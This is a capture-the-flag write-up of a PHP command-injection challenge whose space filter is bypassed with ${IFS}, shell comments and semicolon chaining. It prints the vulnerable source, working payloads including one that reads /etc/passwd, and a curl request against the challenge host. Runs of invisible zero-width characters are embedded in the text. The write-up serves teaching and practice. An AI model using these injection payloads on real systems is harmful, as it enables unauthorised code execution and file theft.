RCE IFS

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: command_chaining_semicolon, ifs_space_bypass, shell_comment_neutralization

Summary

Walkthrough of the CUSTOM Web RCE IFS. Task: Web form with SHA-384 hashing via shell command, spaces filtered from input. Solution: Command injection using ${IFS} to bypass space filter and # to neutralize the pipe to sha384sum.

Description

A simple web application with a form containing a single text input field. When submitted, it computes SHA-384 hash of the input using a shell command. The flag is stored in the PHP source code.

Source code (index.php):

 php read-only • copy allowed Copy
<?php
//${IFS}
$flag = "REDACTED";
if (isset($_GET['text'])) {
	$_GET['text'] = str_replace(" ", "", $_GET['text']);
	system("echo -n {$_GET['text']} | sha384sum");
	exit;
}
?>
<form>
	<input name="text" />
	<input type="submit" />
</form>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Vulnerability: OS Command Injection via direct interpolation of user input into system().

Defensive measures:

• Spaces are removed via str_replace(" ", "", $_GET['text'])

Key observations:

1. Input is directly substituted into a shell command without escaping
2. Command output is hashed via sha384sum — need to neutralize the pipe
3. Hint in comment: //${IFS} — indicates how to bypass the space filter
4. ${IFS} — bash variable (Internal Field Separator), by default contains space/tab/newline ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirming command injection

Testing basic injection via semicolon:

text=test;id

Command on server: echo -n test;id | sha384sum

Result: test4fd3380caad... — "test" is output, then id | sha384sum executes. The hash corresponds to echo "uid=33(www-data)..." | sha384sum.

Step 2: Neutralizing sha384sum via shell comment

Using # to comment out the rest of the command:

text=;ls;#

Command on server: echo -n ;ls;# | sha384sum

Result: index.php — we get clean ls output without hashing. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Bypassing space filter via ${IFS}

Spaces are removed, but ${IFS} is not filtered. In bash, ${IFS} expands to whitespace.

Final payload:

;cat${IFS}index.php;#

Command on server:

 bash read-only • copy allowed Copy
echo -n ;cat index.php;# | sha384sum

Result: full source code of index.php with the flag.

HTTP request

 bash read-only • copy allowed Copy
curl --get --data-urlencode "text=;cat\${IFS}index.php;#" "https://advweb4.spb.ctf.su/"

Alternative payloads:

;cat<index.php;#           # input redirection instead of space
;cat$IFS/etc/passwd;#      # $IFS without braces
;{cat,index.php};#         # brace expansion

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering command_chaining_semicolon, ifs_space_bypass, shell_comment_neutralization was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-11 • CUSTOM • RCE IFS • Difficulty: Easy